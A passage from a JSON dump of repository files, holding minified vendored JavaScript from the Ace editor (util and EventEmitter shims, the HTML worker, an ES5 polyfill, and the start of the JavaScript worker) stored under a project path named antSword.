\"+p(t));if(o.length!==0||!!y&&t.length!=0){if(r<0)return N(t)?e.stylize(RegExp.prototype.toString.call(t),\"regexp\"):e.stylize(\"[Object]\",\"special\");e.seen.push(t);var E;return y?E=d(e,t,r,u,o):E=o.map(function(n){return v(e,t,r,u,n,y)}),e.seen.pop(),m(E,f,b)}return b[0]+f+b[1]}function h(e,t){if(T(t))return e.stylize(\"undefined\",\"undefined\");if(S(t)){var n=\"'\"+JSON.stringify(t).replace(/^\"|\"$/g,\"\").replace(/'/g,\"\\\\'\").replace(/\\\\\"/g,'\"')+\"'\";return e.stylize(n,\"string\")}if(E(t))return e.stylize(\"\"+t,\"number\");if(y(t))return e.stylize(\"\"+t,\"boolean\");if(b(t))return e.stylize(\"null\",\"null\")}function p(e){return\"[\"+Error.prototype.toString.call(e)+\"]\"}function d(e,t,n,r,i){var s=[];for(var o=0,u=t.length;o<u;++o)H(t,String(o))?s.push(v(e,t,n,r,String(o),!0)):s.push(\"\");return i.forEach(function(i){i.match(/^\\d+$/)||s.push(v(e,t,n,r,i,!0))}),s}function v(e,t,n,r,i,s){var o,u,a;a=Object.getOwnPropertyDescriptor(t,i)||{value:t[i]},a.get?a.set?u=e.stylize(\"[Getter/Setter]\",\"special\"):u=e.stylize(\"[Getter]\",\"special\"):a.set&&(u=e.stylize(\"[Setter]\",\"special\")),H(r,i)||(o=\"[\"+i+\"]\"),u||(e.seen.indexOf(a.value)<0?(b(n)?u=c(e,a.value,null):u=c(e,a.value,n-1),u.indexOf(\"\\n\")>-1&&(s?u=u.split(\"\\n\").map(function(e){return\"  \"+e}).join(\"\\n\").substr(2):u=\"\\n\"+u.split(\"\\n\").map(function(e){return\"   \"+e}).join(\"\\n\"))):u=e.stylize(\"[Circular]\",\"special\"));if(T(o)){if(s&&i.match(/^\\d+$/))return u;o=JSON.stringify(\"\"+i),o.match(/^\"([a-zA-Z_][a-zA-Z_0-9]*)\"$/)?(o=o.substr(1,o.length-2),o=e.stylize(o,\"name\")):(o=o.replace(/'/g,\"\\\\'\").replace(/\\\\\"/g,'\"').replace(/(^\"|\"$)/g,\"'\"),o=e.stylize(o,\"string\"))}return o+\": \"+u}function m(e,t,n){var r=0,i=e.reduce(function(e,t){return r++,t.indexOf(\"\\n\")>=0&&r++,e+t.replace(/\\u001b\\[\\d\\d?m/g,\"\").length+1},0);return i>60?n[0]+(t===\"\"?\"\":t+\"\\n \")+\" \"+e.join(\",\\n  \")+\" \"+n[1]:n[0]+t+\" \"+e.join(\", \")+\" \"+n[1]}function g(e){return Array.isArray(e)}function y(e){return typeof e==\"boolean\"}function b(e){return e===null}function w(e){return e==null}function E(e){return typeof e==\"number\"}function S(e){return typeof e==\"string\"}function x(e){return typeof e==\"symbol\"}function T(e){return e===void 0}function N(e){return C(e)&&M(e)===\"[object RegExp]\"}function C(e){return typeof e==\"object\"&&e!==null}function k(e){return C(e)&&M(e)===\"[object Date]\"}function L(e){return C(e)&&(M(e)===\"[object Error]\"||e instanceof Error)}function A(e){return typeof e==\"function\"}function O(e){return e===null||typeof e==\"boolean\"||typeof e==\"number\"||typeof e==\"string\"||typeof e==\"symbol\"||typeof e==\"undefined\"}function M(e){return Object.prototype.toString.call(e)}function _(e){return e<10?\"0\"+e.toString(10):e.toString(10)}function P(){var e=new Date,t=[_(e.getHours()),_(e.getMinutes()),_(e.getSeconds())].join(\":\");return[e.getDate(),D[e.getMonth()],t].join(\" \")}function H(e,t){return Object.prototype.hasOwnProperty.call(e,t)}var i=/%[sdj%]/g;n.format=function(e){if(!S(e)){var t=[];for(var n=0;n<arguments.length;n++)t.push(u(arguments[n]));return t.join(\" \")}var n=1,r=arguments,s=r.length,o=String(e).replace(i,function(e){if(e===\"%%\")return\"%\";if(n>=s)return e;switch(e){case\"%s\":return String(r[n++]);case\"%d\":return Number(r[n++]);case\"%j\":try{return JSON.stringify(r[n++])}catch(t){return\"[Circular]\"};default:return e}});for(var a=r[n];n<s;a=r[++n])b(a)||!C(a)?o+=\" \"+a:o+=\" \"+u(a);return o},n.deprecate=function(e,i){function o(){if(!s){if(t.throwDeprecation)throw new Error(i);t.traceDeprecation?console.trace(i):console.error(i),s=!0}return e.apply(this,arguments)}if(T(r.process))return function(){return n.deprecate(e,i).apply(this,arguments)};if(t.noDeprecation===!0)return e;var s=!1;return o};var s={},o;n.debuglog=function(e){T(o)&&(o=t.env.NODE_DEBUG||\"\"),e=e.toUpperCase();if(!s[e])if((new RegExp(\"\\\\b\"+e+\"\\\\b\",\"i\")).test(o)){var r=t.pid;s[e]=function(){var t=n.format.apply(n,arguments);console.error(\"%s %d: %s\",e,r,t)}}else s[e]=function(){};return s[e]},n.inspect=u,u.colors={bold:[1,22],italic:[3,23],underline:[4,24],inverse:[7,27],white:[37,39],grey:[90,39],black:[30,39],blue:[34,39],cyan:[36,39],green:[32,39],magenta:[35,39],red:[31,39],yellow:[33,39]},u.styles={special:\"cyan\",number:\"yellow\",\"boolean\":\"yellow\",\"undefined\":\"grey\",\"null\":\"bold\",string:\"green\",date:\"magenta\",regexp:\"red\"},n.isArray=g,n.isBoolean=y,n.isNull=b,n.isNullOrUndefined=w,n.isNumber=E,n.isString=S,n.isSymbol=x,n.isUndefined=T,n.isRegExp=N,n.isObject=C,n.isDate=k,n.isError=L,n.isFunction=A,n.isPrimitive=O,n.isBuffer=e(\"./support/isBuffer\");var D=[\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"];n.log=function(){console.log(\"%s - %s\",P(),n.format.apply(n,arguments))},n.inherits=e(\"inherits\"),n._extend=function(e,t){if(!t||!C(t))return e;var n=Object.keys(t),r=n.length;while(r--)e[n[r]]=t[n[r]];return e}}).call(this,e(\"/usr/local/lib/node_modules/browserify/node_modules/insert-module-globals/node_modules/process/browser.js\"),typeof self!=\"undefined\"?self:typeof window!=\"undefined\"?window:{})},{\"./support/isBuffer\":14,\"/usr/local/lib/node_modules/browserify/node_modules/insert-module-globals/node_modules/process/browser.js\":18,inherits:17}],16:[function(e,t,n){function r(){this._events=this._events||{},this._maxListeners=this._maxListeners||undefined}function i(e){return typeof e==\"function\"}function s(e){return typeof e==\"number\"}function o(e){return typeof e==\"object\"&&e!==null}function u(e){return e===void 0}t.exports=r,r.EventEmitter=r,r.prototype._events=undefined,r.prototype._maxListeners=undefined,r.defaultMaxListeners=10,r.prototype.setMaxListeners=function(e){if(!s(e)||e<0||isNaN(e))throw TypeError(\"n must be a positive number\");return this._maxListeners=e,this},r.prototype.emit=function(e){var t,n,r,s,a,f;this._events||(this._events={});if(e===\"error\")if(!this._events.error||o(this._events.error)&&!this._events.error.length)throw t=arguments[1],t instanceof Error?t:TypeError('Uncaught, unspecified \"error\" event.');n=this._events[e];if(u(n))return!1;if(i(n))switch(arguments.length){case 1:n.call(this);break;case 2:n.call(this,arguments[1]);break;case 3:n.call(this,arguments[1],arguments[2]);break;default:r=arguments.length,s=new Array(r-1);for(a=1;a<r;a++)s[a-1]=arguments[a];n.apply(this,s)}else if(o(n)){r=arguments.length,s=new Array(r-1);for(a=1;a<r;a++)s[a-1]=arguments[a];f=n.slice(),r=f.length;for(a=0;a<r;a++)f[a].apply(this,s)}return!0},r.prototype.addListener=function(e,t){var n;if(!i(t))throw TypeError(\"listener must be a function\");this._events||(this._events={}),this._events.newListener&&this.emit(\"newListener\",e,i(t.listener)?t.listener:t),this._events[e]?o(this._events[e])?this._events[e].push(t):this._events[e]=[this._events[e],t]:this._events[e]=t;if(o(this._events[e])&&!this._events[e].warned){var n;u(this._maxListeners)?n=r.defaultMaxListeners:n=this._maxListeners,n&&n>0&&this._events[e].length>n&&(this._events[e].warned=!0,console.error(\"(node) warning: possible EventEmitter memory leak detected. %d listeners added. Use emitter.setMaxListeners() to increase limit.\",this._events[e].length),console.trace())}return this},r.prototype.on=r.prototype.addListener,r.prototype.once=function(e,t){function r(){this.removeListener(e,r),n||(n=!0,t.apply(this,arguments))}if(!i(t))throw TypeError(\"listener must be a function\");var n=!1;return r.listener=t,this.on(e,r),this},r.prototype.removeListener=function(e,t){var n,r,s,u;if(!i(t))throw TypeError(\"listener must be a function\");if(!this._events||!this._events[e])return this;n=this._events[e],s=n.length,r=-1;if(n===t||i(n.listener)&&n.listener===t)delete this._events[e],this._events.removeListener&&this.emit(\"removeListener\",e,t);else if(o(n)){for(u=s;u-->0;)if(n[u]===t||n[u].listener&&n[u].listener===t){r=u;break}if(r<0)return this;n.length===1?(n.length=0,delete this._events[e]):n.splice(r,1),this._events.removeListener&&this.emit(\"removeListener\",e,t)}return this},r.prototype.removeAllListeners=function(e){var t,n;if(!this._events)return this;if(!this._events.removeListener)return arguments.length===0?this._events={}:this._events[e]&&delete this._events[e],this;if(arguments.length===0){for(t in this._events){if(t===\"removeListener\")continue;this.removeAllListeners(t)}return this.removeAllListeners(\"removeListener\"),this._events={},this}n=this._events[e];if(i(n))this.removeListener(e,n);else while(n.length)this.removeListener(e,n[n.length-1]);return delete this._events[e],this},r.prototype.listeners=function(e){var t;return!this._events||!this._events[e]?t=[]:i(this._events[e])?t=[this._events[e]]:t=this._events[e].slice(),t},r.listenerCount=function(e,t){var n;return!e._events||!e._events[t]?n=0:i(e._events[t])?n=1:n=e._events[t].length,n}},{}],17:[function(e,t,n){typeof Object.create==\"function\"?t.exports=function(t,n){t.super_=n,t.prototype=Object.create(n.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}})}:t.exports=function(t,n){t.super_=n;var r=function(){};r.prototype=n.prototype,t.prototype=new r,t.prototype.constructor=t}},{}],18:[function(e,t,n){function i(){}var r=t.exports={};r.nextTick=function(){var e=typeof window!=\"undefined\"&&window.setImmediate,t=typeof window!=\"undefined\"&&window.postMessage&&window.addEventListener;if(e)return function(e){return window.setImmediate(e)};if(t){var n=[];return window.addEventListener(\"message\",function(e){var t=e.source;if((t===window||t===null)&&e.data===\"process-tick\"){e.stopPropagation();if(n.length>0){var r=n.shift();r()}}},!0),function(t){n.push(t),window.postMessage(\"process-tick\",\"*\")}}return function(t){setTimeout(t,0)}}(),r.title=\"browser\",r.browser=!0,r.env={},r.argv=[],r.on=i,r.once=i,r.off=i,r.emit=i,r.binding=function(e){throw new Error(\"process.binding is not supported\")},r.cwd=function(){return\"/\"},r.chdir=function(e){throw new Error(\"process.chdir is not supported\")}},{}],19:[function(e,t,n){t.exports=e(14)},{}],20:[function(e,t,n){t.exports=e(15)},{\"./support/isBuffer\":19,\"/usr/local/lib/node_modules/browserify/node_modules/insert-module-globals/node_modules/process/browser.js\":18,inherits:17}]},{},[9])(9)}),ace.define(\"ace/mode/html_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/worker/mirror\",\"ace/mode/html/saxparser\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"../worker/mirror\").Mirror,o=e(\"./html/saxparser\").SAXParser,u={\"expected-doctype-but-got-start-tag\":\"info\",\"expected-doctype-but-got-chars\":\"info\",\"non-html-root\":\"info\"},a=t.Worker=function(e){s.call(this,e),this.setTimeout(400),this.context=null};r.inherits(a,s),function(){this.setOptions=function(e){this.context=e.context},this.onUpdate=function(){var e=this.doc.getValue();if(!e)return;var t=new o,n=[],r=function(){};t.contentHandler={startDocument:r,endDocument:r,startElement:r,endElement:r,characters:r},t.errorHandler={error:function(e,t,r){n.push({row:t.line,column:t.column,text:e,type:u[r]||\"error\"})}},this.context?t.parseFragment(e,this.context):t.parse(e),this.sender.emit(\"error\",n)}}.call(a.prototype)}),ace.define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "antSword/static/libs/ace/worker-javascript.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console,e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),ace.define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),ace.define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),ace.define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),ace.define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var 